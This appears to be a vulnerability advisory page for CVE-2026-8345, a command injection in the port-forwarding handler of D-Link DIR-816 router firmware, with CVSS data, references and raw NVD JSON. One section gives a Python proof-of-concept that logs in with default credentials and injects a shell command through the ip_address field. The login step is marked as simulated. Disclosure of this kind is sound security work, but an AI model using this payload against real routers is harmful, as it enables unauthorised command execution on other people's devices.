Security Vulnerability Report
中文
CVE-2026-8345 CVSS 6.3 MEDIUM

CVE-2026-8345

Published: 2026-05-11 23:20:23
Last Modified: 2026-05-11 23:20:23

Description

A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

D-Link DIR-816 1.10CNB05_R1B011D88210

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/singlePortForward" username = "admin" password = "admin" # Attacker's controlled server for verification (e.g., Burp Collaborator or netcat listener) attacker_server = "192.168.1.100" # The payload injects a command to ping the attacker's server # Shell metacharacter ';' is used to chain commands injection_payload = f"; ping -c 3 {attacker_server}" # Prepare the data payload data = { "ip_address": injection_payload, # Other form fields might be required depending on the page structure # "internal_port": "80", # "external_port": "8080", # "protocol": "tcp" } # Create a session to handle authentication session = requests.Session() # Step 1: Login (Simulated, actual endpoint may vary) login_url = f"http://{target_ip}/login.asp" login_data = {"username": username, "password": password} try: login_response = session.post(login_url, data=login_data, timeout=5) if login_response.status_code == 200: print("[+] Login successful") except: print("[-] Login failed or endpoint incorrect") # Step 2: Send Exploit try: response = session.post(target_url, data=data, timeout=5) print(f"[+] Exploit sent. Status Code: {response.status_code}") print(f"[+] Check {attacker_server} for incoming ping requests to verify RCE.") except Exception as e: print(f"[-] Exploit failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8345", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:22.813", "lastModified": "2026-05-11T23:20:22.813", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in D-Link DIR-816 1.10CNB05_R1B011D88210. Affected by this issue is the function sub_445E7C of the file /goform/singlePortForward. Such manipulation of the argument ip_address leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/lipenghai/iot_bug/blob/main/D-Link/DIR816/2.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811379", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362661", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362661/cti", "source": "[email protected]"}, {"url": "https://www.dlink.com/", "source": "[email protected]"}]}}